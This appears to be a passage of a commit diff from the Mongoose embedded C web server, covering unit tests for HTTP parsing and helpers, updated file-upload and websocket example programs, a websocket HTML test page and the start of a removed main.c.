// everything including headers, not just the message body.
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
char buf[2000], *reply = NULL;
int request_len, reply_size = 0, n, sock = -1;
struct sockaddr_in sin;
struct hostent *he = NULL;
va_list ap;
if (host != NULL &&
(he = gethostbyname(host)) != NULL &&
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
// Format and send the request.
va_start(ap, fmt);
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
request_len -= n;
}
if (request_len == 0) {
*len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) {
// Leak possible
reply = (char *) realloc(reply, reply_size + sizeof(buf));
reply_size += sizeof(buf);
}
if (reply != NULL) {
memcpy(reply + *len, buf, n);
*len += n;
}
}
}
closesocket(sock);
}
}
return reply;
}
#endif
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
data = (char *) malloc(*size);
fread(data, 1, *size, fp);
fclose(fp);
}
return data;
}
static const char *test_parse_http_message() {
struct mg_connection ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(get_request_len("\r\n", 3) == -1);
ASSERT(get_request_len("\r\n", 2) == 0);
ASSERT(get_request_len("GET", 3) == 0);
ASSERT(get_request_len("\n\n", 2) == 2);
ASSERT(get_request_len("\n\r\n", 3) == 3);
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
ASSERT(get_request_len("\xdd\x03", 2) == -1);
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
ASSERT(parse_http_message(req6, 0, &ri) == -1);
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
return NULL;
}
static const char *test_should_keep_alive(void) {
struct mg_connection conn;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
ASSERT(should_keep_alive(&conn) != 0);
parse_http_message(req2, sizeof(req2) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4) - 1, &conn);
ASSERT(should_keep_alive(&conn) != 0);
return NULL;
}
static const char *test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
return NULL;
}
static const char *test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
return NULL;
}
static const char *test_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
return NULL;
}
static const char *test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
return NULL;
}
static const char *test_to64(void) {
ASSERT(to64("0") == 0);
ASSERT(to64("") == 0);
ASSERT(to64("123") == 123);
ASSERT(to64("-34") == -34);
ASSERT(to64("3566626116") == 3566626116);
return NULL;
}
static const char *test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
return NULL;
}
static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "234") == 0);
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "aa bb") == 0);
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
ASSERT(strcmp(buf, "1234") == 0);
buf[0] = 'x';
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0);
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "2") == 0);
return NULL;
}
static const char *test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
return NULL;
}
static int evh1(struct mg_connection *conn, enum mg_event ev) {
char *buf = (char *) conn->connection_param;
int result = MG_FALSE;
switch (ev) {
case MG_CONNECT:
mg_printf(conn, "GET %s HTTP/1.0\r\n\r\n",
buf[0] == '1' ? "/cb1" : "/non_exist");
result = MG_TRUE;
break;
case MG_HTTP_ERROR:
mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
result = MG_TRUE;
break;
case MG_REQUEST:
if (!strcmp(conn->uri, "/cb1")) {
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n%s %s %s",
(char *) conn->server_param,
buf == NULL ? "?" : "!", conn->remote_ip);
result = MG_TRUE;
}
break;
case MG_REPLY:
if (buf != NULL) {
sprintf(buf + 1, "%.*s", (int) conn->content_len, conn->content);
}
break;
case MG_AUTH:
result = MG_TRUE;
break;
default:
break;
}
return result;
}
static const char *test_server(void) {
char buf1[100] = "1", buf2[100] = "2";
struct mg_server *server = mg_create_server((void *) "foo", evh1);
struct mg_connection *conn;
ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
conn->connection_param = buf1;
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
conn->connection_param = buf2;
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "1foo ? 127.0.0.1") == 0);
ASSERT(strcmp(buf2, "2ERR: 404") == 0);
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
mg_destroy_server(&server);
ASSERT(server == NULL);
return NULL;
}
#define DISP "Content-Disposition: form/data; "
#define CRLF "\r\n"
#define BOUNDARY "--xyz"
static const char *test_parse_multipart(void) {
char a[100], b[100];
const char *p;
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
"some_content" CRLF BOUNDARY CRLF
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
"another_content" CRLF BOUNDARY CRLF
"--" CRLF;
int n, n2, len, f1_len = sizeof(f1) - 1;
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 12);
ASSERT(memcmp(p, "some_content", len) == 0);
ASSERT(strcmp(a, "f1") == 0);
ASSERT(b[0] == '\0');
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 15);
ASSERT(memcmp(p, "another_content", len) == 0);
ASSERT(strcmp(a, "f2") == 0);
ASSERT(strcmp(b, "foo bar.txt") == 0);
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
b, sizeof(b), &p, &len)) == 0);
return NULL;
}
static int evh2(struct mg_connection *conn, enum mg_event ev) {
char *file_data, *cp = (char *) conn->connection_param;
int file_size, result = MG_FALSE;
switch (ev) {
case MG_AUTH:
result = MG_TRUE;
break;
case MG_CONNECT:
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
result = MG_TRUE;
break;
case MG_REQUEST:
break;
case MG_REPLY:
file_data = read_file("unit_test.c", &file_size);
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
conn->query_string == NULL ? "?" : conn->query_string);
free(file_data);
break;
default:
break;
}
return result;
}
static const char *test_mg_set_option(void) {
struct mg_server *server = mg_create_server(NULL, NULL);
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
mg_destroy_server(&server);
return NULL;
}
static const char *test_rewrites(void) {
char buf1[100] = "xx";
struct mg_server *server = mg_create_server(NULL, evh2);
struct mg_connection *conn;
const char *port;
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT(mg_set_option(server, "url_rewrites", "/xx=unit_test.c") == NULL);
ASSERT((port = mg_get_option(server, "listening_port")) != NULL);
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(port), 0)) != NULL);
conn->connection_param = buf1;
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "1 ?") == 0);
mg_destroy_server(&server);
return NULL;
}
static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix);
RUN_TEST(test_remove_double_dots);
RUN_TEST(test_parse_http_message);
RUN_TEST(test_to64);
RUN_TEST(test_url_decode);
RUN_TEST(test_base64_encode);
RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var);
RUN_TEST(test_next_option);
RUN_TEST(test_parse_multipart);
RUN_TEST(test_mg_set_option);
RUN_TEST(test_server);
RUN_TEST(test_rewrites);
return NULL;
}
int __cdecl main(void) {
const char *fail_msg = run_all_tests();
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
}
+40 -108
View File
@@ -3,128 +3,60 @@
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <inttypes.h>
#include <unistd.h>
#include "mongoose.h"
// Make sure that form has enctype="multipart/form-data" attribute
static const char *html_form =
"<html><body>Upload example."
"<form method=\"POST\" action=\"/handle_post_request\" "
" enctype=\"multipart/form-data\">"
"<input type=\"file\" name=\"file\" /> <br/>"
"<input type=\"submit\" value=\"Upload\" />"
"</form></body></html>";
static const char *HTTP_500 = "HTTP/1.0 500 Server Error\r\n\r\n";
static void send_index_page(struct mg_connection *conn) {
const char *data;
int data_len;
char var_name[100], file_name[100];
static void handle_file_upload(struct mg_connection *conn) {
const char *cl_header;
char post_data[16 * 1024], path[999], file_name[1024], mime_type[100],
buf[BUFSIZ], *eop, *s, *p;
FILE *fp;
long long int cl, written;
int fd, n, post_data_len;
mg_printf_data(conn, "%s",
"<html><body>Upload example."
"<form method=\"POST\" action=\"/handle_post_request\" "
" enctype=\"multipart/form-data\">"
"<input type=\"file\" name=\"file\" /> <br/>"
"<input type=\"submit\" value=\"Upload\" />"
"</form>");
// Figure out total content length. Return if it is not present or invalid.
cl_header = mg_get_header(conn, "Content-Length");
if (cl_header == NULL || (cl = strtoll(cl_header, NULL, 10)) <= 0) {
mg_printf(conn, "%s%s", HTTP_500, "Invalid Conent-Length");
return;
if (mg_parse_multipart(conn->content, conn->content_len,
var_name, sizeof(var_name),
file_name, sizeof(file_name),
&data, &data_len) > 0) {
mg_printf_data(conn, "%s", "Uploaded file:<pre>");
mg_send_data(conn, data, data_len);
mg_printf_data(conn, "%s", "/pre>");
}
// Read the initial chunk into memory. This should be multipart POST data.
// Parse headers, where we should find file name and content-type.
post_data_len = mg_read(conn, post_data, sizeof(post_data));
file_name[0] = mime_type[0] = '\0';
for (s = p = post_data; p < &post_data[post_data_len]; p++) {
if (p[0] == '\r' && p[1] == '\n') {
if (s == p) {
p += 2;
break; // End of headers
}
p[0] = p[1] = '\0';
sscanf(s, "Content-Type: %99s", mime_type);
// TODO(lsm): don't expect filename to be the 3rd field,
// parse the header properly instead.
sscanf(s, "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
file_name);
s = p + 2;
}
}
// Finished parsing headers. Now "p" points to the first byte of data.
// Calculate file size
cl -= p - post_data; // Subtract headers size
cl -= strlen(post_data); // Subtract the boundary marker at the end
cl -= 6; // Subtract "\r\n" before and after boundary
// Construct destination file name. Write to /tmp, do not allow
// paths that contain slashes.
if ((s = strrchr(file_name, '/')) == NULL) {
s = file_name;
}
snprintf(path, sizeof(path), "/tmp/%s", s);
if (file_name[0] == '\0') {
mg_printf(conn, "%s%s", HTTP_500, "Can't get file name");
} else if (cl <= 0) {
mg_printf(conn, "%s%s", HTTP_500, "Empty file");
} else if ((fd = open(path, O_CREAT | O_TRUNC |
O_WRONLY | O_EXLOCK | O_CLOEXEC)) < 0) {
// We're opening the file with exclusive lock held. This guarantee us that
// there is no other thread can save into the same file simultaneously.
mg_printf(conn, "%s%s", HTTP_500, "Cannot open file");
} else if ((fp = fdopen(fd, "w")) == NULL) {
mg_printf(conn, "%s%s", HTTP_500, "Cannot reopen file stream");
close(fd);
} else {
// Success. Write data into the file.
eop = post_data + post_data_len;
n = p + cl > eop ? (int) (eop - p) : (int) cl;
(void) fwrite(p, 1, n, fp);
written = n;
while (written < cl &&
(n = mg_read(conn, buf, cl - written > (long long) sizeof(buf) ?
sizeof(buf) : cl - written)) > 0) {
(void) fwrite(buf, 1, n, fp);
written += n;
}
(void) fclose(fp);
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n"
"Saved to [%s], written %llu bytes", path, cl);
}
mg_printf_data(conn, "%s", "</body></html>");
}
static void *callback(enum mg_event event, struct mg_connection *conn) {
const struct mg_request_info *ri = mg_get_request_info(conn);
if (event == MG_NEW_REQUEST) {
if (!strcmp(ri->uri, "/handle_post_request")) {
handle_file_upload(conn);
} else {
// Show HTML form.
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
"Content-Length: %d\r\n"
"Content-Type: text/html\r\n\r\n%s",
(int) strlen(html_form), html_form);
}
// Mark as processed
return "";
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
send_index_page(conn);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return NULL;
return MG_FALSE;
}
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_server *server;
ctx = mg_start(&callback, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
// Create and configure the server
server = mg_create_server(NULL, ev_handler);
mg_set_option(server, "listening_port", "8080");
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0;
}
+51 -59
View File
@@ -1,75 +1,67 @@
// Copyright (c) 2004-2012 Sergey Lyubka
// This file is a part of mongoose project, http://github.com/valenok/mongoose
#include <stdio.h>
#include <string.h>
#include <time.h>
#include "mongoose.h"
static void *callback(enum mg_event event, struct mg_connection *conn) {
if (event == MG_WEBSOCKET_READY) {
unsigned char buf[40];
buf[0] = 0x81;
buf[1] = snprintf((char *) buf + 2, sizeof(buf) - 2, "%s", "server ready");
mg_write(conn, buf, 2 + buf[1]);
return ""; // MG_WEBSOCKET_READY return value is ignored
} else if (event == MG_WEBSOCKET_MESSAGE) {
unsigned char buf[200], reply[200];
int n, i, mask_len, xor, msg_len, len;
#ifdef _WIN32
#define snprintf _snprintf
#endif
// Read message from the client.
// Accept only small (<126 bytes) messages.
len = 0;
msg_len = mask_len = 0;
for (;;) {
if ((n = mg_read(conn, buf + len, sizeof(buf) - len)) <= 0) {
return ""; // Read error, close websocket
}
len += n;
if (len >= 2) {
msg_len = buf[1] & 127;
mask_len = (buf[1] & 128) ? 4 : 0;
if (msg_len > 125) {
return ""; // Message is too long, close websocket
}
// If we've buffered the whole message, exit the loop
if (len >= 2 + mask_len + msg_len) {
break;
}
}
}
extern const char *find_embedded_file(const char *, size_t *);
// Prepare frame
reply[0] = 0x81; // text, FIN set
reply[1] = msg_len;
static int iterate_callback(struct mg_connection *c, enum mg_event ev) {
static int counter = 0;
if (ev == MG_POLL && c->is_websocket) {
char buf[20];
int len = snprintf(buf, sizeof(buf), "%d", counter++);
mg_websocket_write(c, 1, buf, len);
}
return MG_TRUE;
}
// Copy message from request to reply, applying the mask if required.
for (i = 0; i < msg_len; i++) {
xor = mask_len == 0 ? 0 : buf[2 + (i % 4)];
reply[i + 2] = buf[i + 2 + mask_len] ^ xor;
}
static int send_reply(struct mg_connection *conn) {
size_t index_size;
const char *index_html = find_embedded_file("websocket.html", &index_size);
// Echo the message back to the client
mg_write(conn, reply, 2 + msg_len);
// Return non-NULL means stoping websocket conversation.
// Close the conversation if client has sent us "exit" string.
return memcmp(reply + 2, "exit", 4) == 0 ? "" : NULL;
if (conn->is_websocket) {
// This handler is called for each incoming websocket frame, one or more
// times for connection lifetime.
// Echo websocket data back to the client.
mg_websocket_write(conn, 1, conn->content, conn->content_len);
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
MG_FALSE : MG_TRUE;
} else {
return NULL;
mg_send_header(conn, "Content-Type", "text/html");
mg_send_data(conn, index_html, index_size);
return MG_TRUE;
}
}
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
return send_reply(conn);
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {
"listening_ports", "8080",
"document_root", "websocket_html_root",
NULL
};
struct mg_server *server = mg_create_server(NULL, ev_handler);
time_t current_timer = 0, last_timer = time(NULL);
ctx = mg_start(&callback, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
mg_set_option(server, "listening_port", "8080");
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 100);
current_timer = time(NULL);
if (current_timer - last_timer > 0) {
last_timer = current_timer;
mg_iterate_over_connections(server, iterate_callback);
}
}
mg_destroy_server(&server);
return 0;
}
+46
View File
@@ -0,0 +1,46 @@
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var out = function(message) {
var div = document.createElement('div');
div.innerHTML = message;
document.getElementById('output').appendChild(div);
};
window.onload = function() {
var url = 'ws://' + location.host + '/ws';
var num_messages = 0;
websocket = new WebSocket(url);
websocket.onopen = function(ev) {
out('CONNECTED');
var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
out('SENT: ' + msg);
websocket.send(msg);
};
websocket.onclose = function(ev) {
out('DISCONNECTED');
};
websocket.onmessage = function(ev) {
if (!ev.data) {
out('<span style="color: blue;">PING... </span>');
} else {
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
num_messages++;
}
if (num_messages > 3) {
websocket.send('exit');
}
};
websocket.onerror = function(ev) {
out('<span style="color: red; ">ERROR: </span> ' + ev.data);
};
};
</script>
<style> div {font: small Verdana; } </style>
<h2>Mongoose WebSocket Test</h2>
<div id="output"></div>
</html>
-44
View File
@@ -1,44 +0,0 @@
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var writeToScreen = function(message) {
var div = document.createElement('div');
div.innerHTML = message;
document.getElementById('output').appendChild(div);
};
window.onload = function() {
var url = 'ws://' + window.location.host + '/foo';
websocket = new WebSocket(url);
websocket.onopen = function(ev) {
writeToScreen('CONNECTED');
var message = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
writeToScreen('SENT: ' + message);
websocket.send(message);
};
websocket.onclose = function(ev) {
writeToScreen('DISCONNECTED');
};
websocket.onmessage = function(ev) {
writeToScreen('<span style="color: blue;">RESPONSE: ' + ev.data +
' </span>');
websocket.send('exit');
};
websocket.onerror = function(ev) {
writeToScreen('<span style="color: red; ">ERROR: </span> ' + ev.data);
};
};
</script>
<style> div {font: small Verdana; } </style>
<h2>Mongoose WebSocket Test</h2>
<div style="width: 400px; color: #aaa; padding: 1em; ">
This page code creates websocket to the URI "/foo",
sends a message to it, waits for the reply, then sends an "exit" message.
Server must echo all messages back, and terminate the conversation after
receiving the "exit" message.
</div>
<div id="output"></div>
</html>
-511
View File
@@ -1,511 +0,0 @@
// Copyright (c) 2004-2011 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#if defined(_WIN32)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#else
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#endif
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <winsvc.h>
#define PATH_MAX MAX_PATH
#define S_ISDIR(x) ((x) & _S_IFDIR)
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define WINCDECL __cdecl
#else
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define WINCDECL
#endif // _WIN32
#define MAX_OPTIONS 40
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[40]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_context *ctx; // Set by start_mongoose()
#if !defined(CONFIG_FILE)
